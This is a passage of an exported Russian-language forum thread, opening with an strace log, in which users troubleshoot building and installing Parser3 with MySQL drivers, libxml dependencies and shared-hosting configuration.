uname({sys=\"Linux\", node=\"svr.nsic.gov\", ...}) = 0\
brk(0)                                  = 0x8128b8c\
open(\"/etc/ld.so.preload\", O_RDONLY)    = -1 ENOENT (No such file or directory)\
open(\"/etc/ld.so.cache\", O_RDONLY)      = 4\
fstat64(4, {st_mode=S_IFREG|0644, st_size=26345, ...}) = 0\
mmap2(NULL, 26345, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40012000\
close(4)                                = 0\
open(\"/lib/libdl.so.2\", O_RDONLY)       = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0p\\30\\0\\000\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0755, st_size=8316, ...}) = 0\
mmap2(NULL, 11248, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x40019000\
mprotect(0x4001b000, 3056, PROT_NONE)   = 0\
mmap2(0x4001b000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x1) = 0x4001b000\
close(4)                                = 0\
open(\"/usr/lib/libgc.so.1\", O_RDONLY)   = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0P\\206\\0\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0755, st_size=129736, ...}) = 0\
mmap2(NULL, 180096, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x4001c000\
mprotect(0x40038000, 65408, PROT_NONE)  = 0\
mmap2(0x40038000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x1c) = 0x40038000\
mmap2(0x4003c000, 49024, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4003c000\
close(4)                                = 0\
open(\"/lib/libglib-1.2.so.0\", O_RDONLY) = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0\\20b\\0\\000\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0644, st_size=150540, ...}) = 0\
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40048000\
mmap2(NULL, 149516, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x40049000\
mprotect(0x4006d000, 2060, PROT_NONE)   = 0\
mmap2(0x4006d000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x24) = 0x4006d000\
close(4)                                = 0\
open(\"/usr/lib/libxml2.so.2\", O_RDONLY) = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0\\360\\330\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0644, st_size=970896, ...}) = 0\
mmap2(NULL, 972980, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x4006e000\
mprotect(0x40152000, 39092, PROT_NONE)  = 0\
mmap2(0x40152000, 36864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0xe4) = 0x40152000\
mmap2(0x4015b000, 2228, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4015b000\
close(4)                                = 0\
open(\"/usr/lib/libgdome.so.0\", O_RDONLY) = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0\\300\\3\\1\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0644, st_size=223184, ...}) = 0\
mmap2(NULL, 226276, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x4015c000\
mprotect(0x40192000, 5092, PROT_NONE)   = 0\
mmap2(0x40192000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x35) = 0x40192000\
close(4)                                = 0\
open(\"/usr/lib/libxslt.so.1\", O_RDONLY) = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0\\20i\\0\\000\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0644, st_size=192044, ...}) = 0\
mmap2(NULL, 195128, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x40194000\
mprotect(0x401c3000, 2616, PROT_NONE)   = 0\
mmap2(0x401c3000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x2e) = 0x401c3000\
close(4)                                = 0\
open(\"/usr/lib/libexslt.so.0\", O_RDONLY) = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0\\0%\\0\\000\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0644, st_size=59612, ...}) = 0\
mmap2(NULL, 62672, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x401c4000\
mprotect(0x401d3000, 1232, PROT_NONE)   = 0\
mmap2(0x401d3000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0xe) = 0x401d3000\
close(4)                                = 0\
open(\"/lib/libcrypt.so.1\", O_RDONLY)    = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0 r\\0\\000\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0755, st_size=41228, ...}) = 0\
mmap2(NULL, 204124, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x401d4000\
mprotect(0x401dd000, 167260, PROT_NONE) = 0\
mmap2(0x401dd000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x8) = 0x401dd000\
mmap2(0x401df000, 159068, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x401df000\
close(4)                                = 0\
open(\"/lib/libm.so.6\", O_RDONLY)        = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0\\2606\\0\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0644, st_size=137716, ...}) = 0\
mmap2(NULL, 140288, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x40206000\
mprotect(0x40228000, 1024, PROT_NONE)   = 0\
mmap2(0x40228000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x21) = 0x40228000\
close(4)                                = 0\
open(\"/lib/libc.so.6\", O_RDONLY)        = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0\\240\\207\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0755, st_size=1145896, ...}) = 0\
mmap2(NULL, 1158976, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x40229000\
mprotect(0x4033b000, 36672, PROT_NONE)  = 0\
mmap2(0x4033b000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x112) = 0x4033b000\
mmap2(0x40340000, 16192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40340000\
close(4)                                = 0\
open(\"/lib/libpthread.so.0\", O_RDONLY)  = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0\\0C\\0\\000\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0644, st_size=105521, ...}) = 0\
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40344000\
mmap2(NULL, 85328, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x40345000\
mprotect(0x40353000, 27984, PROT_NONE)  = 0\
mmap2(0x40353000, 28672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0xe) = 0x40353000\
close(4)                                = 0\
open(\"/lib/libz.so.1\", O_RDONLY)        = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0P\\31\\0\\000\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0755, st_size=55524, ...}) = 0\
mmap2(NULL, 58584, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x4035a000\
mprotect(0x40367000, 5336, PROT_NONE)   = 0\
mmap2(0x40367000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0xc) = 0x40367000\
close(4)                                = 0\
munmap(0x40012000, 26345)               = 0\
getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0\
setrlimit(RLIMIT_STACK, {rlim_cur=2044*1024, rlim_max=RLIM_INFINITY}) = 0\
getpid()                                = 20943\
rt_sigaction(SIGRTMIN, {0x4034d900, [], SA_RESTORER, 0x40252288}, NULL, 8) = 0\
rt_sigaction(SIGRT_1, {0x4034d9a0, [], SA_RESTORER, 0x40252288}, NULL, 8) = 0\
rt_sigaction(SIGRT_2, {0x4034dad0, [], SA_RESTORER, 0x40252288}, NULL, 8) = 0\
rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0\
_sysctl({{CTL_KERN, KERN_VERSION}, 2, 0xbffff36c, 31, (nil), 0}) = 0\
rt_sigaction(SIGPWR, {0x4034e0d0, ~[HUP INT], SA_RESTORER|SA_RESTART, 0x40252288}, NULL, 8) = 0\
rt_sigaction(SIGXCPU, {0x4034e0d0, ~[HUP INT], SA_RESTORER|SA_RESTART, 0x40252288}, NULL, 8) = 0\
open(\"/proc/stat\", O_RDONLY)            = 4\
read(4, \"cpu  256946 3303392 607782 40676\"..., 4096) = 749\
close(4)                                = 0\
brk(0)                                  = 0x8128b8c\
brk(0x8129000)                          = 0x8129000\
brk(0x8139000)                          = 0x8139000\
brk(0x8149000)                          = 0x8149000\
brk(0x8159000)                          = 0x8159000\
getpid()                                = 20943\
brk(0x8159030)                          = 0x8159030\
brk(0x815a000)                          = 0x815a000\
brk(0x816a000)                          = 0x816a000\
brk(0x817a000)                          = 0x817a000\
rt_sigaction(SIGUSR1, {0x4034e0d0, [USR1], SA_RESTORER|SA_RESTART, 0x40252288}, {SIG_DFL}, 8) = 0\
rt_sigaction(SIGPIPE, {0x4034e0d0, [PIPE], SA_RESTORER|SA_RESTART, 0x40252288}, {SIG_DFL}, 8) = 0\
umask(02)                               = 022\
getcwd(\"/home/nikon/sql/mysql\", 1024)   = 22\
time(NULL)                              = 1076502628\
time(NULL)                              = 1076502628\
open(\"/var/www/cgi-bin/auto.p\", O_RDONLY) = 4\
stat64(\"/var/www/cgi-bin/auto.p\", {st_mode=S_IFREG|0644, st_size=3464, ...}) = 0\
read(4, \"#$Id: auto.p.dist.in,v 1.10 2003\"..., 3464) = 3464\
close(4)                                = 0\
brk(0x818a000)                          = 0x818a000\
open(\"/etc/parser3.charsets/windows-1251.cfg\", O_RDONLY) = 4\
stat64(\"/etc/parser3.charsets/windows-1251.cfg\", {st_mode=S_IFREG|0644, st_size=5229, ...}) = 0\
read(4, \"char\\twhite-space\\tdigit\\thex-digit\"..., 5229) = 5229\
close(4)                                = 0\
open(\"/etc/mtab\", O_RDONLY)             = 4\
fstat64(4, {st_mode=S_IFREG|0644, st_size=334, ...}) = 0\
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40012000\
read(4, \"/dev/hda3 / ext3 rw 0 0\\nproc /pr\"..., 4096) = 334\
close(4)                                = 0\
munmap(0x40012000, 4096)                = 0\
open(\"/proc/meminfo\", O_RDONLY)         = 4\
fstat64(4, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0\
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40012000\
read(4, \"        total:    used:    free:\"..., 4096) = 524\
close(4)                                = 0\
munmap(0x40012000, 4096)                = 0\
open(\"/etc/parser3.charsets/koi8-r.cfg\", O_RDONLY) = 4\
stat64(\"/etc/parser3.charsets/koi8-r.cfg\", {st_mode=S_IFREG|0644, st_size=4370, ...}) = 0\
brk(0x819c000)                          = 0x819c000\
read(4, \"char\\twhite-space\\tdigit\\thex-digit\"..., 4370) = 4370\
close(4)                                = 0\
stat64(\"/var/auto.p\", 0xbfffdd00)       = -1 ENOENT (No such file or directory)\
stat64(\"/var/wwwhost/auto.p\", 0xbfffdd00) = -1 ENOENT (No such file or directory)\
stat64(\"/var/wwwhost/local/auto.p\", 0xbfffdd00) = -1 ENOENT (No such file or directory)\
stat64(\"/var/wwwhost/local/zhik/auto.p\", {st_mode=S_IFREG|0777, st_size=18301, ...}) = 0\
open(\"/var/wwwhost/local/zhik/auto.p\", O_RDONLY) = 4\
stat64(\"/var/wwwhost/local/zhik/auto.p\", {st_mode=S_IFREG|0777, st_size=18301, ...}) = 0\
read(4, \"@generic_page[]\\n$sect[^table::lo\"..., 18301) = 18301\
close(4)                                = 0\
brk(0x81b3000)                          = 0x81b3000\
brk(0x81d1000)                          = 0x81d1000\
open(\"/var/wwwhost/local/zhik/ttt.html\", O_RDONLY) = 4\
stat64(\"/var/wwwhost/local/zhik/ttt.html\", {st_mode=S_IFREG|0644, st_size=525, ...}) = 0\
read(4, \"<html>\\n    <head>\\n\\t<link rel=\\\"st\"..., 525) = 525\
close(4)                                = 0\
time(NULL)                              = 1076502628\
open(\"/etc/localtime\", O_RDONLY)        = 4\
fstat64(4, {st_mode=S_IFREG|0644, st_size=815, ...}) = 0\
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40012000\
read(4, \"TZif\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\f\\0\\0\\0\\f\\0\"..., 4096) = 815\
close(4)                                = 0\
munmap(0x40012000, 4096)                = 0\
open(\"/usr/lib/libparser3mysql.so\", O_RDONLY) = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0@=\\0\\000\"..., 1024) = 1024\
fstat64(4, {st_mode=S_IFREG|0755, st_size=176008, ...}) = 0\
mmap2(NULL, 52532, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x40369000\
mprotect(0x40374000, 7476, PROT_NONE)   = 0\
mmap2(0x40374000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0xa) = 0x40374000\
close(4)                                = 0\
writev(2, [{\"parser3\", 7}, {\": \", 2}, {\"relocation error\", 16}, {\": \", 2}, {\"/usr/lib/libparser3mysql.so\", 27}, {\": \", 2}, {\"undefined symbol: lt_dlinit\", 27}, {\"\", 0}, {\"\", 0}, {\"\\n\", 1}], 10parser3: relocation error: /usr/lib/libparser3mysql.so: undefined symbol: lt_dlinit\
) = 84\
_exit(127)                              = ?"
"26252","Всем спасибо."
"26253","Вчера потестировал несколько версий парсера под IIS 6.0\
Брал практически все текущие версии парсера из раздела [i]скачать[/i] и новые бета версии у уважаемого Александра Егорова.\
\
Что я для себя выяснил. \
Isapi версии. 5-10 секунд работают на ура, потом 5-10 секунд как-то все тормозит, глючит и т.д.\
Cgi версии. Все вроде работает нормально, но выявил один глюк с\
$response:location[]. Я еще не до конца понял, но помоему при обращении к $response:location[http://] начинается непонятное.\
\
Буду дальше крутить и смотреть))))"
"26254","в архиве лежал подкаталог sql/mysql/libltdl\
в нём .c файлик,\
в нём lt_dlinit\
\
этот файлик там лежит в неизменном виде с начала 2003 года.\
\
как был получен результат:\
с одной версией этот файлик подкомпоновался, \
а с другой нет\
\
... для мне загадка.\
\
когда захотите переехать на следующую версию, у вас может не быть времени разбираться с этим.\
\
поэтому, если не лень, посмотрите сейчас?\
у меня ощущение, что сборка libparser3mysql из CVS|HEAD у вас прошла с ошибками и их прямо видно."
"26255","Забавно, что меня еще помнят, но разбор телепрограммы всё-таки работал на перле. И потом, формат же может быть совершенно разным..."
"26256","Я могу Вам прислать пошагово, что я делал, и что из этого пролучилось с config.log, версиями библиотек и т.д. Явных ошибок не было (у меня стоит color-gcc, и там выделяются цветом ошибки, warning-и и прочее). К сожалению, я не силён в C/C++, так что где была ошибка сказать не могу. Но факт остается фактом. После 7 часов бесплодных попыток, я взял parser-3.1.1 из tar-архива, и все заработало. \
\
P.S. Как выяснилось, на втором сервере ld ругается на тото-же gxx_personality и т.д., но всё работает. Если Вас что-то интересует - скажите, я протестирую."
"26257","Обновил '#cvs co -r release_3_1_1 sql/mysql'\
Все собралось (правда, при сборке драйвера были странные предупреждения, что у меня нет aclocal-1.7, хотя у меня aclocal-1.8.2). Результат тот-же: двойной \"can't...\".\
\
Но я также закачал и последние, доступные по cvs, исходники:\
#cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co parser3\
#cd parser3\
#cvs co sql/mysql\
Но проблемы с компиляцией parser3:\
1. Ошибка\
...\
In file included from ../../src/include/pa_stylesheet_connection.h:13,\
                 from ../../src/include/pa_stylesheet_manager.h:20,\
                 from pa_cache_managers.C:13:\
/usr/local/include/libxslt/xslt.h:12:25: libxml/tree.h: No such file or directory\
...\
У меня libxml каталог находится как подкаталог в /usr/local/include/libxml2. Создал символическую ссылку - как будто стало лучше. Но...\
2. ...что с этим сделать:\
Making all in main\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl   -I/usr/local/include  -g -O2 -MT pa_cache_managers.o -MD -MP -MF \".deps/pa_cache_managers.Tpo\"  -c -o pa_cache_managers.o `test -f 'pa_cache_managers.C' || echo './'`pa_cache_managers.C;  then mv \".deps/pa_cache_managers.Tpo\" \".deps/pa_cache_managers.Po\";  else rm -f \".deps/pa_cache_managers.Tpo\"; exit 1;  fi\
In file included from ../../src/include/pa_stylesheet_manager.h:20,\
                 from pa_cache_managers.C:13:\
../../src/include/pa_stylesheet_connection.h: In member function `void\
   Stylesheet_connection::load(int)':\
../../src/include/pa_stylesheet_connection.h:89: error: `xmlHaveGenericErrors'\
   undeclared (first use this function)\
../../src/include/pa_stylesheet_connection.h:89: error: (Each undeclared\
   identifier is reported only once for each function it appears in.)\
../../src/include/pa_stylesheet_connection.h:90: error: syntax error before `;'\
   token\
../../src/include/pa_stylesheet_connection.h:91: error: `exc' undeclared (first\
   use this function)\
../../src/include/pa_stylesheet_connection.h:91: error: `XmlException'\
   undeclared (first use this function)\
*** Error code 1\
\
xmlHaveGenericErrors() вроде как определена в pa_globals.h, но #include \"pa_globals.h\" в pa_cache_managers.C или pa_cache_managers.h не решают проблему.\
\
Может, я иду не тем путем?"
"26258","Я пытаюсь установить 3-го Парсера сразу на двух хостингах - SpaceWeb и Arbatek(он же 350mb) и результаты очень плачевные...\
Ни на одном ни на другом хостинге работать 3-я версия не хочет. \
\
На 350mb работает только 2-я, третую заставить работать просто не получается и я не знаю в чом дело.... вот, что пишет для 3-ей версии:\
http://www.karasev.ru/test.html\
и ни с места....\
\
На SpaseWeb не работает работа с MySQL. Служба поддержки просто умерла и не реагирует. Хотя все-все очень хвалят тамашнюю тех.помощь за оперативность и грамотность. вот тестовая страница на этом хостинге:\
http://www.chuikov.ru/test.html\
\
Выводы/вопросы: Вы уверены, что установка и работа Парсер-3 не состовляет никаких трудностей? И как можно претендовать на распространение своего продукта, если существуют такие большие проблемы с установкой?\
Может вам нужно позаботиться о каком-то установочном пакете, что бы люди могли устанавливать ваш язык легко и начинать им пользоваться вникая в простоту и оригинальность, чем, себя лично имею ввиду, потратить уже целую неделю и практически поставить крест на Парсере в своей работе!"
"26259","Устанавливал как написано в http://www.parser.ru/hosters/350mb.ru/1/"
"26260","А здесь вы были?\
\
http://www.arbatek.ru/parser/"
"26261","Устанавлива ровно так как написано на \
http://www.egoroff.spb.ru/portfolio/20.html\
эта инструкция рекомендована на \
http://www.arbatek.ru/parser/"
"26263","пожалуйста, скажите\
[code]\
nm libparser3mysql.so |grep lt_\
[/code]\
на ту и другую версию?\
\
неужели в из-tar lt_* есть, а в из-cvs|head их нет?"
"26264","можно \
[code]\
grep XML src/includes/pa_config_auto.h\
[/code]\
чтобы узнать, что насочинял configure\
\
видимо, ./configure --with-xxx-xml=\
не прошёл успешно."
"26265","и сделайте то, что там написано.\
\
пока так не сделаете, помочь вам будет трудно."
"26266","[nikon@svr nikon]$ cat cvs.log \
00004dc4 T __default_terminate\
00008540 T __default_unexpected__Fv\
         U lt_dlerror\
         U lt_dlinit\
         U lt_dlopen\
         U lt_dlsym\
\
[nikon@svr nikon]$ cat tar.log \
0000f120 d default_preloaded_symbols\
00008df4 T __default_terminate\
0000c570 T __default_unexpected__Fv\
00007900 t lt_argz_insert\
00007a30 t lt_argz_insertdir\
00007990 t lt_argz_insertinorder\
00005860 T lt_dladderror\
000083d0 T lt_dladdsearchdir\
00008900 T lt_dlcaller_get_data\
000087e0 T lt_dlcaller_register\
00008820 T lt_dlcaller_set_data\
00007dc0 T lt_dlclose\
00008200 T lt_dlerror\
0000f09c d lt_dlerror_strings\
00006100 T lt_dlexit\
00008780 T lt_dlforeach\
00007cf0 T lt_dlforeachfile\
0000f098 D lt_dlfree\
00008700 T lt_dlgetinfo\
00008600 T lt_dlgetsearchpath\
00008750 T lt_dlhandle_next\
00005f40 T lt_dlinit\
00008440 T lt_dlinsertsearchdir\
000086a0 T lt_dlisresident\
0000f0fc d lt_dllast_error\
00008970 T lt_dlloader_add\
00008ce0 T lt_dlloader_data\
00008d60 T lt_dlloader_find\
00008c60 T lt_dlloader_name\
00008c20 T lt_dlloader_next\
00008ae0 T lt_dlloader_remove\
00008640 T lt_dlmakeresident\
0000f090 D lt_dlmalloc\
0000f0f8 d lt_dlmutex_geterror_func\
0000f0ec d lt_dlmutex_lock_func\
000057a0 T lt_dlmutex_register\
0000f0f4 d lt_dlmutex_seterror_func\
0000f0f0 d lt_dlmutex_unlock_func\
00007660 T lt_dlopen\
000076d0 T lt_dlopenext\
00008270 t lt_dlpath_insertdir\
00006050 T lt_dlpreload\
000060c0 T lt_dlpreload_default\
0000f094 D lt_dlrealloc\
000058e0 T lt_dlseterror\
00008540 T lt_dlsetsearchpath\
00007f40 T lt_dlsym\
000059c0 t lt_emalloc\
00005a30 t lt_erealloc\
00005aa0 t lt_estrdup"
"26268","Если у вас найдется время?"
"26269","sql/mysql/libltdl/.libs/libltdlc.al\
не прикомпоновалась к \
sql/mysql/.libs/libparser3mysql.so\
\
хотя должна была:\
[code]\
#типа такого\
/usr/ccs/bin/ld -G -h libparser3mysql.so -o .libs/libparser3mysql.so  parser3mysql.lo -z allextract ./libltdl/.libs/libltdlc.al -z defaultextract  -ldl -lc\
[/code]\
\
\
уверен, нет нужды говорить, что ничего в способе компоновки со подбиблиотекой libltdl в проекте sql/mysql не менялось лет пятьсот.\
\
полагаю, была какая-то мелкая ошибка, которая прошла незамеченной.\
\
если вас версия 3.1.1 устраивает, то не буду больше приставать.\
\
однако следует иметь в виду, что со временем надо будет upgrad'иться. а 3.1.2 не за горами.\
\
и когда надо будет разбираться, времени разбираться тогда может не быть."
"26270","Арбатек: Проверьте в конфиге парсера таблицу SQL драйверов, по умолчанию там содержатся те драйвера которых вы не ставили (pgsql, oracle) удалите эти строки, оставьте только MySQL."
"26271","Ничего не изменилось\
Все время вижу вот эти строчки:\
\
Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@vodish.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception."
"26272","'/usr/parser3/etc/parser3.charsets/windows-1251.cfg' [file.missing]\
[Wed Feb 11 18:47:01 2004] /test.html: '/usr/parser3/etc/parser3.charsets/windows-1251.cfg' read failed: No such file or directory (2), actual filename '/usr/parser3/etc/parser3.charsets/windows-1251.cfg' [file.missing]"
"26273","Почему я не вижу cgi-bin в путях? Парсер ставить только туда. Читайте снова + доку + FAQ\
\
Таблицы драйверов - это единственное что могло быть причиной при правильно выполненной инструкции."
"26274","У меня еще там есть файл <_parser2> я его вижу,\
т.е. http://www.karasev.ru/cgi-bin/_parser2\
\
а если набрать:\
http://www.karasev.ru/cgi-bin/parser3.cgi\
то ошибка 505\
Но там файл <parser3.cgi>, я никуда его не удалял и он точно переписан в режиме binaty, и на нем абсолютно точно стоят права 700."
"26275","Я не задавал ./configure --with-xxx-xml вообще.\
Я задавал только --prefix=/usr/local --with-charsets=windows-1251,koi8-r --with-shared-gc=/usr/local/lib CPPFLAGS=\"-I/usr/local/include\"\
Без CPPFLAGS=\"...\" libxslt/* не видит.\
\
#grep XML src/include/pa_config_auto.h\
/* #undef XML */"
"26276","Я уже три недели не могу выпустить свой первый сайт на Parser3 :-) \
\
У них по ходу дела как то очень хитро все сконфигурировано, что Parser не работает.\
\
К слову могу сказать что на http://www.chuikov.ru/test.html у вас работает их предустановленный парсер... Это вообще глухо, нужно залить свой и настроить так, чтобы парсил именно он. \
\
У меня все нормально кроме одного - не принимает данные из форм. Правда для этого пришлось плясать с бубном, добился работы парсера с MySQL http://www.exprompt.ru/_test.html \
\
Я сейчас активно веду переписку с суппортом, как что то будет - обязательно расскажу о решении трабла. Если у вас что то получится - обязательно сообщите, буду благодарен :-)"
"26277","У меня на Sweb работает два с половиной сайта на Парсере, скоро будет третий и четвертый.\
\
Как я этого добился:\
Парсер надо заливать самому, НЕ в директорию cgi-bin, а в какую-нибудь другую, у меня это 'parser'. Права - как в FAQ написано. Handler указывать '/parser/parser3.cgi'.\
\
в главном auto.p:\
\
$CLASS_PATH[/../../l/login/public_html]\
\
путь к MySQL-дровам:\
'/home/l/login/public_html/parser/lib/libparser3mysql.so'\
'/usr/lib/libmysqlclient.so'\
\
Никаких проблем нет, суппорт хороший, но ленивый."
"26278","тогда сотрите из .h и .C файлов строки. которые ссылаются на libxml/ (на которые ругается компилятор).\
я потом исправлю это -- какое-то время не собирал без XML.\
\
если всё же xml вам нужен, прочтите INSTALL."
"26280","На счет auto.p, имеется ввиду конфигурацтонный файл, кот. вместе с parser3.cgi находится в одной папке?\
\
Я там не увидел переменных $CLASS_PATH...\
и путь [/../../l/login/public_html] я так понял у меня будет другой?\
\
Расскажите по подробнее, пожалуйста?"
"26281","Я Вам дам пароль и логин."
"26282","главный auto.p - это который в папке с parser3.cgi, да.\
Class_Path вам понадобится позже, а выглядеть он будет соответственно вашему логину - /../../первая-буква-вашего-логина/логин/что-пожелаете."
"26283","Давайте, я вам лучше помогу это сделать. Очень пригождается в дальнейшем."
"26284","...поэтому пытаюсь исключить влияние использования дополнительных опций. Но сейчас я понял, что без --with-shared-xml не обойтись:\
#./configure th-shared-gc=/usr/local/lib --with-shared-xml=/usr/local CPPFLAGS=\"-I/usr/local/include/glib-2.0\"\
Без CPPFLAGS=\"-I...\" не видятся glib*.h, а glib*-config отсутствует (glib-2.0 поставлен из обновленных портов).\
\
Но вот ошибка:\
\
Making all in main\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl  -I/usr/local/include -I/usr/local/include/libgdome -I/usr/local/include/libxml2   -I/usr/local/include/glib-2.0  -g -O2 -MT pa_pool.o -MD -MP -MF \".deps/pa_pool.Tpo\"  -c -o pa_pool.o `test -f 'pa_pool.C' || echo './'`pa_pool.C;  then mv \".deps/pa_pool.Tpo\" \".deps/pa_pool.Po\";  else rm -f \".deps/pa_pool.Tpo\"; exit 1;  fi\
In file included from pa_pool.C:14:\
../../src/include/pa_charset.h: In constructor `\
   GdomeDOMString_auto_ptr::GdomeDOMString_auto_ptr(xmlChar*)':\
../../src/include/pa_charset.h:183: error: `gdome_str_mkref_xml' undeclared\
   (first use this function)\
../../src/include/pa_charset.h:183: error: (Each undeclared identifier is\
   reported only once for each function it appears in.)\
*** Error code 1\
\
Котекст пакетов:\
libxml2-2.6.5\
libxslt-1.1.2\
gdome2-0.8.1 (из портов)\
glib-2.2.3 (из портов)"
"26285","Я уже просто в истерике скоро буду биться :-)\
\
Сделал \"как у вас\" -- пишет в parser3.log:\
\
[code]\
[Thu Feb 12 01:12:55 2004] /test.html: '/home/e/exprmru/public_html/parser/parser3.cgi/test.html' read failed: Not a directory (20), actual filename '/home/e/exprmru/public_html/parser/parser3.cgi/test.html' [<no type>]\
[/code]\
\
Как бы то ни было - пока не работает :-(\
Не затруднит ли вас кинуть мне на мыльце ваш конфиг и .htaccess\
\
Права на parser3.cgi 700 \
\
[b].htaccess [/b]\
AddHandler parsed-html html\
#Action parsed /cgi-bin/par3.cgi\
Action parsed-html /parser/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
[b]auto.p[/b]\
[code]\
